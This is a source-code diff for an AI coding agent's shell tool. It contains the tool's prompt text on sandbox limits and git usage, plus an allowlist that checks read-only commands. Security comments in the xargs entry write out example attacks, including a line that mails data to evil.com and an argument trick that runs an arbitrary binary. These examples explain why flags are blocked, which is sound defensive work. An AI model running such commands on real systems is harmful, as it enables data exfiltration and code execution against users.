+- If there are no changes to commit (i.e., no untracked files and no modifications), do not create an empty commit
+- In order to ensure good formatting, ALWAYS pass the commit message via a HEREDOC, a la this example:
+<example>
+git commit -m "$(cat <<'EOF'
+   Commit message here.${commitAttribution ? `\n\n   ${commitAttribution}` : ''}
+   EOF
+   )"
+</example>
+
+# Creating pull requests
+Use the gh command via the Bash tool for ALL GitHub-related tasks including working with issues, pull requests, checks, and releases. If given a Github URL use the gh command to get the information needed.
+
+IMPORTANT: When the user asks you to create a pull request, follow these steps carefully:
+
+1. Run the following bash commands in parallel using the ${BASH_TOOL_NAME} tool, in order to understand the current state of the branch since it diverged from the main branch:
+   - Run a git status command to see all untracked files (never use -uall flag)
+   - Run a git diff command to see both staged and unstaged changes that will be committed
+   - Check if the current branch tracks a remote branch and is up to date with the remote, so you know if you need to push to the remote
+   - Run a git log command and \`git diff [base-branch]...HEAD\` to understand the full commit history for the current branch (from the time it diverged from the base branch)
+2. Analyze all changes that will be included in the pull request, making sure to look at all relevant commits (NOT just the latest commit, but ALL commits that will be included in the pull request!!!), and draft a pull request title and summary:
+   - Keep the PR title short (under 70 characters)
+   - Use the description/body for details, not the title
+3. Run the following commands in parallel:
+   - Create new branch if needed
+   - Push to remote with -u flag if needed
+   - Create PR using gh pr create with the format below. Use a HEREDOC to pass the body to ensure correct formatting.
+<example>
+gh pr create --title "the pr title" --body "$(cat <<'EOF'
+## Summary
+<1-3 bullet points>
+
+## Test plan
+[Bulleted markdown checklist of TODOs for testing the pull request...]${prAttribution ? `\n\n${prAttribution}` : ''}
+EOF
+)"
+</example>
+
+Important:
+- DO NOT use the ${TodoWriteTool.name} or ${AGENT_TOOL_NAME} tools
+- Return the PR URL when you're done, so the user can see it
+
+# Other common operations
+- View comments on a Github PR: gh api repos/foo/bar/pulls/123/comments`
+}
+
+// SandboxManager merges config from multiple sources (settings layers, defaults,
+// CLI flags) without deduping, so paths like ~/.cache appear 3× in allowOnly.
+// Dedup here before inlining into the prompt — affects only what the model sees,
+// not sandbox enforcement. Saves ~150-200 tokens/request when sandbox is enabled.
+function dedup<T>(arr: T[] | undefined): T[] | undefined {
+  if (!arr || arr.length === 0) return arr
+  return [...new Set(arr)]
+}
+
+function getSimpleSandboxSection(): string {
+  if (!SandboxManager.isSandboxingEnabled()) {
+    return ''
+  }
+
+  const fsReadConfig = SandboxManager.getFsReadConfig()
+  const fsWriteConfig = SandboxManager.getFsWriteConfig()
+  const networkRestrictionConfig = SandboxManager.getNetworkRestrictionConfig()
+  const allowUnixSockets = SandboxManager.getAllowUnixSockets()
+  const ignoreViolations = SandboxManager.getIgnoreViolations()
+  const allowUnsandboxedCommands =
+    SandboxManager.areUnsandboxedCommandsAllowed()
+
+  // Replace the per-UID temp dir literal (e.g. /private/tmp/claude-1001/) with
+  // "$TMPDIR" so the prompt is identical across users — avoids busting the
+  // cross-user global prompt cache. The sandbox already sets $TMPDIR at runtime.
+  const claudeTempDir = getClaudeTempDir()
+  const normalizeAllowOnly = (paths: string[]): string[] =>
+    [...new Set(paths)].map(p => (p === claudeTempDir ? '$TMPDIR' : p))
+
+  const filesystemConfig = {
+    read: {
+      denyOnly: dedup(fsReadConfig.denyOnly),
+      ...(fsReadConfig.allowWithinDeny && {
+        allowWithinDeny: dedup(fsReadConfig.allowWithinDeny),
+      }),
+    },
+    write: {
+      allowOnly: normalizeAllowOnly(fsWriteConfig.allowOnly),
+      denyWithinAllow: dedup(fsWriteConfig.denyWithinAllow),
+    },
+  }
+
+  const networkConfig = {
+    ...(networkRestrictionConfig?.allowedHosts && {
+      allowedHosts: dedup(networkRestrictionConfig.allowedHosts),
+    }),
+    ...(networkRestrictionConfig?.deniedHosts && {
+      deniedHosts: dedup(networkRestrictionConfig.deniedHosts),
+    }),
+    ...(allowUnixSockets && { allowUnixSockets: dedup(allowUnixSockets) }),
+  }
+
+  const restrictionsLines = []
+  if (Object.keys(filesystemConfig).length > 0) {
+    restrictionsLines.push(`Filesystem: ${jsonStringify(filesystemConfig)}`)
+  }
+  if (Object.keys(networkConfig).length > 0) {
+    restrictionsLines.push(`Network: ${jsonStringify(networkConfig)}`)
+  }
+  if (ignoreViolations) {
+    restrictionsLines.push(
+      `Ignored violations: ${jsonStringify(ignoreViolations)}`,
+    )
+  }
+
+  const sandboxOverrideItems: Array<string | string[]> =
+    allowUnsandboxedCommands
+      ? [
+          'You should always default to running commands within the sandbox. Do NOT attempt to set `dangerouslyDisableSandbox: true` unless:',
+          [
+            'The user *explicitly* asks you to bypass sandbox',
+            'A specific command just failed and you see evidence of sandbox restrictions causing the failure. Note that commands can fail for many reasons unrelated to the sandbox (missing files, wrong arguments, network issues, etc.).',
+          ],
+          'Evidence of sandbox-caused failures includes:',
+          [
+            '"Operation not permitted" errors for file/network operations',
+            'Access denied to specific paths outside allowed directories',
+            'Network connection failures to non-whitelisted hosts',
+            'Unix socket connection errors',
+          ],
+          'When you see evidence of sandbox-caused failure:',
+          [
+            "Immediately retry with `dangerouslyDisableSandbox: true` (don't ask, just do it)",
+            'Briefly explain what sandbox restriction likely caused the failure. Be sure to mention that the user can use the `/sandbox` command to manage restrictions.',
+            'This will prompt the user for permission',
+          ],
+          'Treat each command you execute with `dangerouslyDisableSandbox: true` individually. Even if you have recently run a command with this setting, you should default to running future commands within the sandbox.',
+          'Do not suggest adding sensitive paths like ~/.bashrc, ~/.zshrc, ~/.ssh/*, or credential files to the sandbox allowlist.',
+        ]
+      : [
+          'All commands MUST run in sandbox mode - the `dangerouslyDisableSandbox` parameter is disabled by policy.',
+          'Commands cannot run outside the sandbox under any circumstances.',
+          'If a command fails due to sandbox restrictions, work with the user to adjust sandbox settings instead.',
+        ]
+
+  const items: Array<string | string[]> = [
+    ...sandboxOverrideItems,
+    'For temporary files, always use the `$TMPDIR` environment variable. TMPDIR is automatically set to the correct sandbox-writable directory in sandbox mode. Do NOT use `/tmp` directly - use `$TMPDIR` instead.',
+  ]
+
+  return [
+    '',
+    '## Command sandbox',
+    'By default, your command will be run in a sandbox. This sandbox controls which directories and network hosts commands may access or modify without an explicit override.',
+    '',
+    'The sandbox has the following restrictions:',
+    restrictionsLines.join('\n'),
+    '',
+    ...prependBullets(items),
+  ].join('\n')
+}
+
+export function getSimplePrompt(): string {
+  // Ant-native builds alias find/grep to embedded bfs/ugrep in Claude's shell,
+  // so we don't steer away from them (and Glob/Grep tools are removed).
+  const embedded = hasEmbeddedSearchTools()
+
+  const toolPreferenceItems = [
+    ...(embedded
+      ? []
+      : [
+          `File search: Use ${GLOB_TOOL_NAME} (NOT find or ls)`,
+          `Content search: Use ${GREP_TOOL_NAME} (NOT grep or rg)`,
+        ]),
+    `Read files: Use ${FILE_READ_TOOL_NAME} (NOT cat/head/tail)`,
+    `Edit files: Use ${FILE_EDIT_TOOL_NAME} (NOT sed/awk)`,
+    `Write files: Use ${FILE_WRITE_TOOL_NAME} (NOT echo >/cat <<EOF)`,
+    'Communication: Output text directly (NOT echo/printf)',
+  ]
+
+  const avoidCommands = embedded
+    ? '`cat`, `head`, `tail`, `sed`, `awk`, or `echo`'
+    : '`find`, `grep`, `cat`, `head`, `tail`, `sed`, `awk`, or `echo`'
+
+  const multipleCommandsSubitems = [
+    `If the commands are independent and can run in parallel, make multiple ${BASH_TOOL_NAME} tool calls in a single message. Example: if you need to run "git status" and "git diff", send a single message with two ${BASH_TOOL_NAME} tool calls in parallel.`,
+    `If the commands depend on each other and must run sequentially, use a single ${BASH_TOOL_NAME} call with '&&' to chain them together.`,
+    "Use ';' only when you need to run commands sequentially but don't care if earlier commands fail.",
+    'DO NOT use newlines to separate commands (newlines are ok in quoted strings).',
+  ]
+
+  const gitSubitems = [
+    'Prefer to create a new commit rather than amending an existing commit.',
+    'Before running destructive operations (e.g., git reset --hard, git push --force, git checkout --), consider whether there is a safer alternative that achieves the same goal. Only use destructive operations when they are truly the best approach.',
+    'Never skip hooks (--no-verify) or bypass signing (--no-gpg-sign, -c commit.gpgsign=false) unless the user has explicitly asked for it. If a hook fails, investigate and fix the underlying issue.',
+  ]
+
+  const sleepSubitems = [
+    'Do not sleep between commands that can run immediately — just run them.',
+    ...(feature('MONITOR_TOOL')
+      ? [
+          'Use the Monitor tool to stream events from a background process (each stdout line is a notification). For one-shot "wait until done," use Bash with run_in_background instead.',
+        ]
+      : []),
+    'If your command is long running and you would like to be notified when it finishes — use `run_in_background`. No sleep needed.',
+    'Do not retry failing commands in a sleep loop — diagnose the root cause.',
+    'If waiting for a background task you started with `run_in_background`, you will be notified when it completes — do not poll.',
+    ...(feature('MONITOR_TOOL')
+      ? [
+          '`sleep N` as the first command with N ≥ 2 is blocked. If you need a delay (rate limiting, deliberate pacing), keep it under 2 seconds.',
+        ]
+      : [
+          'If you must poll an external process, use a check command (e.g. `gh run view`) rather than sleeping first.',
+          'If you must sleep, keep the duration short (1-5 seconds) to avoid blocking the user.',
+        ]),
+  ]
+  const backgroundNote = getBackgroundUsageNote()
+
+  const instructionItems: Array<string | string[]> = [
+    'If your command will create new directories or files, first use this tool to run `ls` to verify the parent directory exists and is the correct location.',
+    'Always quote file paths that contain spaces with double quotes in your command (e.g., cd "path with spaces/file.txt")',
+    'Try to maintain your current working directory throughout the session by using absolute paths and avoiding usage of `cd`. You may use `cd` if the User explicitly requests it.',
+    `You may specify an optional timeout in milliseconds (up to ${getMaxTimeoutMs()}ms / ${getMaxTimeoutMs() / 60000} minutes). By default, your command will timeout after ${getDefaultTimeoutMs()}ms (${getDefaultTimeoutMs() / 60000} minutes).`,
+    ...(backgroundNote !== null ? [backgroundNote] : []),
+    'When issuing multiple commands:',
+    multipleCommandsSubitems,
+    'For git commands:',
+    gitSubitems,
+    'Avoid unnecessary `sleep` commands:',
+    sleepSubitems,
+    ...(embedded
+      ? [
+          // bfs (which backs `find`) uses Oniguruma for -regex, which picks the
+          // FIRST matching alternative (leftmost-first), unlike GNU find's
+          // POSIX leftmost-longest. This silently drops matches when a shorter
+          // alternative is a prefix of a longer one.
+          "When using `find -regex` with alternation, put the longest alternative first. Example: use `'.*\\.\\(tsx\\|ts\\)'` not `'.*\\.\\(ts\\|tsx\\)'` — the second form silently skips `.tsx` files.",
+        ]
+      : []),
+  ]
+
+  return [
+    'Executes a given bash command and returns its output.',
+    '',
+    "The working directory persists between commands, but shell state does not. The shell environment is initialized from the user's profile (bash or zsh).",
+    '',
+    `IMPORTANT: Avoid using this tool to run ${avoidCommands} commands, unless explicitly instructed or after you have verified that a dedicated tool cannot accomplish your task. Instead, use the appropriate dedicated tool as this will provide a much better experience for the user:`,
+    '',
+    ...prependBullets(toolPreferenceItems),
+    `While the ${BASH_TOOL_NAME} tool can do similar things, it’s better to use the built-in tools as they provide a better user experience and make it easier to review tool calls and give permission.`,
+    '',
+    '# Instructions',
+    ...prependBullets(instructionItems),
+    getSimpleSandboxSection(),
+    ...(getCommitAndPRInstructions() ? ['', getCommitAndPRInstructions()] : []),
+  ].join('\n')
+}

src/tools/BashTool/readOnlyValidation.ts

@@ -0,0 +1,1990 @@
+import type { z } from 'zod/v4'
+import { getOriginalCwd } from '../../bootstrap/state.js'
+import {
+  extractOutputRedirections,
+  splitCommand_DEPRECATED,
+} from '../../utils/bash/commands.js'
+import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
+import { getCwd } from '../../utils/cwd.js'
+import { isCurrentDirectoryBareGitRepo } from '../../utils/git.js'
+import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
+import { getPlatform } from '../../utils/platform.js'
+import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
+import {
+  containsVulnerableUncPath,
+  DOCKER_READ_ONLY_COMMANDS,
+  EXTERNAL_READONLY_COMMANDS,
+  type FlagArgType,
+  GH_READ_ONLY_COMMANDS,
+  GIT_READ_ONLY_COMMANDS,
+  PYRIGHT_READ_ONLY_COMMANDS,
+  RIPGREP_READ_ONLY_COMMANDS,
+  validateFlags,
+} from '../../utils/shell/readOnlyCommandValidation.js'
+import type { BashTool } from './BashTool.js'
+import { isNormalizedGitCommand } from './bashPermissions.js'
+import { bashCommandIsSafe_DEPRECATED } from './bashSecurity.js'
+import {
+  COMMAND_OPERATION_TYPE,
+  PATH_EXTRACTORS,
+  type PathCommand,
+} from './pathValidation.js'
+import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
+
+// Unified command validation configuration system
+type CommandConfig = {
+  // A Record mapping from the command (e.g. `xargs` or `git diff`) to its safe flags and the values they accept
+  safeFlags: Record<string, FlagArgType>
+  // An optional regex that is used for additional validation beyond flag parsing
+  regex?: RegExp
+  // An optional callback for additional custom validation logic. Returns true if the command is dangerous,
+  // false if it appears to be safe. Meant to be used in conjunction with the safeFlags-based validation.
+  additionalCommandIsDangerousCallback?: (
+    rawCommand: string,
+    args: string[],
+  ) => boolean
+  // When false, the tool does NOT respect POSIX `--` end-of-options.
+  // validateFlags will continue checking flags after `--` instead of breaking.
+  // Default: true (most tools respect `--`).
+  respectsDoubleDash?: boolean
+}
+
+// Shared safe flags for fd and fdfind (Debian/Ubuntu package name)
+// SECURITY: -x/--exec and -X/--exec-batch are deliberately excluded —
+// they execute arbitrary commands for each search result.
+const FD_SAFE_FLAGS: Record<string, FlagArgType> = {
+  '-h': 'none',
+  '--help': 'none',
+  '-V': 'none',
+  '--version': 'none',
+  '-H': 'none',
+  '--hidden': 'none',
+  '-I': 'none',
+  '--no-ignore': 'none',
+  '--no-ignore-vcs': 'none',
+  '--no-ignore-parent': 'none',
+  '-s': 'none',
+  '--case-sensitive': 'none',
+  '-i': 'none',
+  '--ignore-case': 'none',
+  '-g': 'none',
+  '--glob': 'none',
+  '--regex': 'none',
+  '-F': 'none',
+  '--fixed-strings': 'none',
+  '-a': 'none',
+  '--absolute-path': 'none',
+  // SECURITY: -l/--list-details EXCLUDED — internally executes `ls` as subprocess (same
+  // pathway as --exec-batch). PATH hijacking risk if malicious `ls` is on PATH.
+  '-L': 'none',
+  '--follow': 'none',
+  '-p': 'none',
+  '--full-path': 'none',
+  '-0': 'none',
+  '--print0': 'none',
+  '-d': 'number',
+  '--max-depth': 'number',
+  '--min-depth': 'number',
+  '--exact-depth': 'number',
+  '-t': 'string',
+  '--type': 'string',
+  '-e': 'string',
+  '--extension': 'string',
+  '-S': 'string',
+  '--size': 'string',
+  '--changed-within': 'string',
+  '--changed-before': 'string',
+  '-o': 'string',
+  '--owner': 'string',
+  '-E': 'string',
+  '--exclude': 'string',
+  '--ignore-file': 'string',
+  '-c': 'string',
+  '--color': 'string',
+  '-j': 'number',
+  '--threads': 'number',
+  '--max-buffer-time': 'string',
+  '--max-results': 'number',
+  '-1': 'none',
+  '-q': 'none',
+  '--quiet': 'none',
+  '--show-errors': 'none',
+  '--strip-cwd-prefix': 'none',
+  '--one-file-system': 'none',
+  '--prune': 'none',
+  '--search-path': 'string',
+  '--base-directory': 'string',
+  '--path-separator': 'string',
+  '--batch-size': 'number',
+  '--no-require-git': 'none',
+  '--hyperlink': 'string',
+  '--and': 'string',
+  '--format': 'string',
+}
+
+// Central configuration for allowlist-based command validation
+// All commands and flags here should only allow reading files. They should not
+// allow writing to files, executing code, or creating network requests.
+const COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
+  xargs: {
+    safeFlags: {
+      '-I': '{}',
+      // SECURITY: `-i` and `-e` (lowercase) REMOVED — both use GNU getopt
+      // optional-attached-arg semantics (`i::`, `e::`). The arg MUST be
+      // attached (`-iX`, `-eX`); space-separated (`-i X`, `-e X`) means the
+      // flag takes NO arg and `X` becomes the next positional (target command).
+      //
+      // `-i` (`i::` — optional replace-str):
+      //   echo /usr/sbin/sendm | xargs -it tail a@evil.com
+      //   validator: -it bundle (both 'none') OK, tail ∈ SAFE_TARGET → break
+      //   GNU: -i replace-str=t, tail → /usr/sbin/sendmail → NETWORK EXFIL
+      //
+      // `-e` (`e::` — optional eof-str):
+      //   cat data | xargs -e EOF echo foo
+      //   validator: -e consumes 'EOF' as arg (type 'EOF'), echo ∈ SAFE_TARGET
+      //   GNU: -e no attached arg → no eof-str, 'EOF' is the TARGET COMMAND
+      //   → executes binary named EOF from PATH → CODE EXEC (malicious repo)
+      //
+      // Use uppercase `-I {}` (mandatory arg) and `-E EOF` (POSIX, mandatory
+      // arg) instead — both validator and xargs agree on argument consumption.
+      // `-i`/`-e` are deprecated (GNU: "use -I instead" / "use -E instead").
+      '-n': 'number',
+      '-P': 'number',
+      '-L': 'number',
+      '-s': 'number',
+      '-E': 'EOF', // POSIX, MANDATORY separate arg — validator & xargs agree
+      '-0': 'none',
+      '-t': 'none',
+      '-r': 'none',
+      '-x': 'none',
+      '-d': 'char',
+    },
+  },
+  // All git read-only commands from shared validation map
+  ...GIT_READ_ONLY_COMMANDS,
+  file: {
+    safeFlags: {
+      // Output format flags
+      '--brief': 'none',
+      '-b': 'none',
+      '--mime': 'none',
+      '-i': 'none',
+      '--mime-type': 'none',
+      '--mime-encoding': 'none',
+      '--apple': 'none',
+      // Behavior flags
+      '--check-encoding': 'none',
+      '-c': 'none',
+      '--exclude': 'string',
+      '--exclude-quiet': 'string',
+      '--print0': 'none',
+      '-0': 'none',
+      '-f': 'string',
+      '-F': 'string',
+      '--separator': 'string',
+      '--help': 'none',
+      '--version': 'none',
+      '-v': 'none',
+      // Following/dereferencing
+      '--no-dereference': 'none',
+      '-h': 'none',
+      '--dereference': 'none',
+      '-L': 'none',
+      // Magic file options (safe when just reading)
+      '--magic-file': 'string',
+      '-m': 'string',
+      // Other safe options
+      '--keep-going': 'none',
+      '-k': 'none',
+      '--list': 'none',
+      '-l': 'none',
+      '--no-buffer': 'none',
+      '-n': 'none',
+      '--preserve-date': 'none',
+      '-p': 'none',
+      '--raw': 'none',
+      '-r': 'none',
+      '-s': 'none',
+      '--special-files': 'none',
+      // Uncompress flag for archives
+      '--uncompress': 'none',
+      '-z': 'none',
+    },
+  },
+  sed: {
+    safeFlags: {
+      // Expression flags
+      '--expression': 'string',
+      '-e': 'string',
+      // Output control
+      '--quiet': 'none',
+      '--silent': 'none',
+      '-n': 'none',
+      // Extended regex
+      '--regexp-extended': 'none',
+      '-r': 'none',
+      '--posix': 'none',
+      '-E': 'none',
+      // Line handling
+      '--line-length': 'number',
+      '-l': 'number',
+      '--zero-terminated': 'none',
+      '-z': 'none',
+      '--separate': 'none',
+      '-s': 'none',
+      '--unbuffered': 'none',
+      '-u': 'none',
+      // Debugging/help
+      '--debug': 'none',
+      '--help': 'none',
+      '--version': 'none',
+    },
+    additionalCommandIsDangerousCallback: (
+      rawCommand: string,
+      _args: string[],
+    ) => !sedCommandIsAllowedByAllowlist(rawCommand),
+  },
+  sort: {
+    safeFlags: {
+      // Sorting options
+      '--ignore-leading-blanks': 'none',
+      '-b': 'none',
+      '--dictionary-order': 'none',
+      '-d': 'none',
+      '--ignore-case': 'none',
+      '-f': 'none',
+      '--general-numeric-sort': 'none',
+      '-g': 'none',
+      '--human-numeric-sort': 'none',
+      '-h': 'none',
+      '--ignore-nonprinting': 'none',
+      '-i': 'none',
+      '--month-sort': 'none',
+      '-M': 'none',
+      '--numeric-sort': 'none',
+      '-n': 'none',
+      '--random-sort': 'none',
+      '-R': 'none',
+      '--reverse': 'none',
+      '-r': 'none',
+      '--sort': 'string',
+      '--stable': 'none',
+      '-s': 'none',
+      '--unique': 'none',
+      '-u': 'none',
+      '--version-sort': 'none',
+      '-V': 'none',
+      '--zero-terminated': 'none',
+      '-z': 'none',
+      // Key specifications
+      '--key': 'string',
+      '-k': 'string',
+      '--field-separator': 'string',
+      '-t': 'string',
+      // Checking
+      '--check': 'none',
+      '-c': 'none',
+      '--check-char-order': 'none',
+      '-C': 'none',
+      // Merging
+      '--merge': 'none',
+      '-m': 'none',
+      // Buffer size
+      '--buffer-size': 'string',
+      '-S': 'string',
+      // Parallel processing
+      '--parallel': 'number',
+      // Batch size
+      '--batch-size': 'number',
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  man: {
+    safeFlags: {
+      // Safe display options
+      '-a': 'none', // Display all manual pages
+      '--all': 'none', // Same as -a
+      '-d': 'none', // Debug mode
+      '-f': 'none', // Emulate whatis
+      '--whatis': 'none', // Same as -f
+      '-h': 'none', // Help
+      '-k': 'none', // Emulate apropos
+      '--apropos': 'none', // Same as -k
+      '-l': 'string', // Local file (safe for reading, Linux only)
+      '-w': 'none', // Display location instead of content
+
+      // Safe formatting options
+      '-S': 'string', // Restrict manual sections
+      '-s': 'string', // Same as -S for whatis/apropos mode
+    },
+  },
+  // help command - only allow bash builtin help flags to prevent attacks when
+  // help is aliased to man (e.g., in oh-my-zsh common-aliases plugin).
+  // man's -P flag allows arbitrary command execution via pager.
+  help: {
+    safeFlags: {
+      '-d': 'none', // Output short description for each topic
+      '-m': 'none', // Display usage in pseudo-manpage format
+      '-s': 'none', // Output only a short usage synopsis
+    },
+  },
+  netstat: {
+    safeFlags: {
+      // Safe display options
+      '-a': 'none', // Show all sockets
+      '-L': 'none', // Show listen queue sizes
+      '-l': 'none', // Print full IPv6 address
+      '-n': 'none', // Show network addresses as numbers
+
+      // Safe filtering options
+      '-f': 'string', // Address family (inet, inet6, unix, vsock)
+
+      // Safe interface options
+      '-g': 'none', // Show multicast group membership
+      '-i': 'none', // Show interface state
+      '-I': 'string', // Specific interface
+
+      // Safe statistics options
+      '-s': 'none', // Show per-protocol statistics
+
+      // Safe routing options
+      '-r': 'none', // Show routing tables
+
+      // Safe mbuf options
+      '-m': 'none', // Show memory management statistics
+
+      // Safe other options
+      '-v': 'none', // Increase verbosity
+    },
+  },
+  ps: {
+    safeFlags: {
+      // UNIX-style process selection (these are safe)
+      '-e': 'none', // Select all processes
+      '-A': 'none', // Select all processes (same as -e)
+      '-a': 'none', // Select all with tty except session leaders
+      '-d': 'none', // Select all except session leaders
+      '-N': 'none', // Negate selection
+      '--deselect': 'none',
+
+      // UNIX-style output format (safe, doesn't show env)
+      '-f': 'none', // Full format
+      '-F': 'none', // Extra full format
+      '-l': 'none', // Long format
+      '-j': 'none', // Jobs format
+      '-y': 'none', // Don't show flags
+
+      // Output modifiers (safe ones)
+      '-w': 'none', // Wide output
+      '-ww': 'none', // Unlimited width
+      '--width': 'number',
+      '-c': 'none', // Show scheduler info
+      '-H': 'none', // Show process hierarchy
+      '--forest': 'none',
+      '--headers': 'none',
+      '--no-headers': 'none',
+      '-n': 'string', // Set namelist file
+      '--sort': 'string',
+
+      // Thread display
+      '-L': 'none', // Show threads
+      '-T': 'none', // Show threads
+      '-m': 'none', // Show threads after processes
+
+      // Process selection by criteria
+      '-C': 'string', // By command name
+      '-G': 'string', // By real group ID
+      '-g': 'string', // By session or effective group
+      '-p': 'string', // By PID
+      '--pid': 'string',
+      '-q': 'string', // Quick mode by PID
+      '--quick-pid': 'string',
+      '-s': 'string', // By session ID
+      '--sid': 'string',
+      '-t': 'string', // By tty
+      '--tty': 'string',
+      '-U': 'string', // By real user ID
+      '-u': 'string', // By effective user ID
+      '--user': 'string',
+
+      // Help/version
+      '--help': 'none',
+      '--info': 'none',
+      '-V': 'none',
+      '--version': 'none',
+    },
+    // Block BSD-style 'e' modifier which shows environment variables
+    // BSD options are letter-only tokens without a leading dash
+    additionalCommandIsDangerousCallback: (
+      _rawCommand: string,
+      args: string[],
+    ) => {
+      // Check for BSD-style 'e' in letter-only tokens (not -e which is UNIX-style)
+      // A BSD-style option is a token of only letters (no leading dash) containing 'e'
+      return args.some(
+        a => !a.startsWith('-') && /^[a-zA-Z]*e[a-zA-Z]*$/.test(a),
+      )
+    },
+  },
+  base64: {
+    respectsDoubleDash: false, // macOS base64 does not respect POSIX --
+    safeFlags: {
+      // Safe decode options
+      '-d': 'none', // Decode
+      '-D': 'none', // Decode (macOS)
+      '--decode': 'none', // Decode
+
+      // Safe formatting options
+      '-b': 'number', // Break lines at num (macOS)
+      '--break': 'number', // Break lines at num (macOS)
+      '-w': 'number', // Wrap lines at COLS (Linux)
+      '--wrap': 'number', // Wrap lines at COLS (Linux)
+
+      // Safe input options (read from file, not write)
+      '-i': 'string', // Input file (safe for reading)
+      '--input': 'string', // Input file (safe for reading)
+
+      // Safe misc options
+      '--ignore-garbage': 'none', // Ignore non-alphabet chars when decoding (Linux)
+      '-h': 'none', // Help
+      '--help': 'none', // Help
+      '--version': 'none', // Version
+    },
+  },
+  grep: {
+    safeFlags: {
+      // Pattern flags
+      '-e': 'string', // Pattern
+      '--regexp': 'string',
+      '-f': 'string', // File with patterns
+      '--file': 'string',
+      '-F': 'none', // Fixed strings
+      '--fixed-strings': 'none',
+      '-G': 'none', // Basic regexp (default)
+      '--basic-regexp': 'none',
+      '-E': 'none', // Extended regexp
+      '--extended-regexp': 'none',
+      '-P': 'none', // Perl regexp
+      '--perl-regexp': 'none',
+
+      // Matching control
+      '-i': 'none', // Ignore case
+      '--ignore-case': 'none',
+      '--no-ignore-case': 'none',
+      '-v': 'none', // Invert match
+      '--invert-match': 'none',
+      '-w': 'none', // Word regexp
+      '--word-regexp': 'none',
+      '-x': 'none', // Line regexp
+      '--line-regexp': 'none',
+
+      // Output control
+      '-c': 'none', // Count
+      '--count': 'none',
+      '--color': 'string',
+      '--colour': 'string',
+      '-L': 'none', // Files without match
+      '--files-without-match': 'none',
+      '-l': 'none', // Files with matches
+      '--files-with-matches': 'none',
+      '-m': 'number', // Max count
+      '--max-count': 'number',
+      '-o': 'none', // Only matching
+      '--only-matching': 'none',
+      '-q': 'none', // Quiet
+      '--quiet': 'none',
+      '--silent': 'none',
+      '-s': 'none', // No messages
+      '--no-messages': 'none',
+
+      // Output line prefix
+      '-b': 'none', // Byte offset
+      '--byte-offset': 'none',
+      '-H': 'none', // With filename
+      '--with-filename': 'none',
+      '-h': 'none', // No filename
+      '--no-filename': 'none',
+      '--label': 'string',
+      '-n': 'none', // Line number
+      '--line-number': 'none',
+      '-T': 'none', // Initial tab
+      '--initial-tab': 'none',
+      '-u': 'none', // Unix byte offsets
+      '--unix-byte-offsets': 'none',
+      '-Z': 'none', // Null after filename
+      '--null': 'none',
+      '-z': 'none', // Null data
+      '--null-data': 'none',
+
+      // Context control
+      '-A': 'number', // After context
+      '--after-context': 'number',
+      '-B': 'number', // Before context
+      '--before-context': 'number',
+      '-C': 'number', // Context
+      '--context': 'number',
+      '--group-separator': 'string',
+      '--no-group-separator': 'none',
+
+      // File and directory selection
+      '-a': 'none', // Text (process binary as text)
+      '--text': 'none',
+      '--binary-files': 'string',
+      '-D': 'string', // Devices
+      '--devices': 'string',
+      '-d': 'string', // Directories
+      '--directories': 'string',
+      '--exclude': 'string',
+      '--exclude-from': 'string',
+      '--exclude-dir': 'string',
+      '--include': 'string',
+      '-r': 'none', // Recursive
+      '--recursive': 'none',
+      '-R': 'none', // Dereference-recursive
+      '--dereference-recursive': 'none',
+
+      // Other options
+      '--line-buffered': 'none',
+      '-U': 'none', // Binary
+      '--binary': 'none',
+
+      // Help and version
+      '--help': 'none',
+      '-V': 'none',
+      '--version': 'none',
+    },
+  },
+  ...RIPGREP_READ_ONLY_COMMANDS,
+  // Checksum commands - these only read files and compute/verify hashes
+  // All flags are safe as they only affect output format or verification behavior
+  sha256sum: {
+    safeFlags: {
+      // Mode flags
+      '-b': 'none', // Binary mode
+      '--binary': 'none',
+      '-t': 'none', // Text mode
+      '--text': 'none',
+
+      // Check/verify flags
+      '-c': 'none', // Verify checksums from file
+      '--check': 'none',
+      '--ignore-missing': 'none', // Ignore missing files during check
+      '--quiet': 'none', // Quiet mode during check
+      '--status': 'none', // Don't output, exit code shows success
+      '--strict': 'none', // Exit non-zero for improperly formatted lines
+      '-w': 'none', // Warn about improperly formatted lines
+      '--warn': 'none',
+
+      // Output format flags
+      '--tag': 'none', // BSD-style output
+      '-z': 'none', // End output lines with NUL
+      '--zero': 'none',
+
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  sha1sum: {
+    safeFlags: {
+      // Mode flags
+      '-b': 'none', // Binary mode
+      '--binary': 'none',
+      '-t': 'none', // Text mode
+      '--text': 'none',
+
+      // Check/verify flags
+      '-c': 'none', // Verify checksums from file
+      '--check': 'none',
+      '--ignore-missing': 'none', // Ignore missing files during check
+      '--quiet': 'none', // Quiet mode during check
+      '--status': 'none', // Don't output, exit code shows success
+      '--strict': 'none', // Exit non-zero for improperly formatted lines
+      '-w': 'none', // Warn about improperly formatted lines
+      '--warn': 'none',
+
+      // Output format flags
+      '--tag': 'none', // BSD-style output
+      '-z': 'none', // End output lines with NUL
+      '--zero': 'none',
+
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  md5sum: {
+    safeFlags: {
+      // Mode flags
+      '-b': 'none', // Binary mode
+      '--binary': 'none',
+      '-t': 'none', // Text mode
+      '--text': 'none',
+
+      // Check/verify flags
+      '-c': 'none', // Verify checksums from file
+      '--check': 'none',
+      '--ignore-missing': 'none', // Ignore missing files during check
+      '--quiet': 'none', // Quiet mode during check
+      '--status': 'none', // Don't output, exit code shows success
+      '--strict': 'none', // Exit non-zero for improperly formatted lines
+      '-w': 'none', // Warn about improperly formatted lines
+      '--warn': 'none',
+
+      // Output format flags
+      '--tag': 'none', // BSD-style output
+      '-z': 'none', // End output lines with NUL
+      '--zero': 'none',
+
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  // tree command - moved from READONLY_COMMAND_REGEXES to allow flags and path arguments
+  // -o/--output writes to a file, so it's excluded. All other flags are display/filter options.
+  tree: {
+    safeFlags: {
+      // Listing options
+      '-a': 'none', // All files
+      '-d': 'none', // Directories only
+      '-l': 'none', // Follow symlinks
+      '-f': 'none', // Full path prefix
+      '-x': 'none', // Stay on current filesystem
+      '-L': 'number', // Max depth
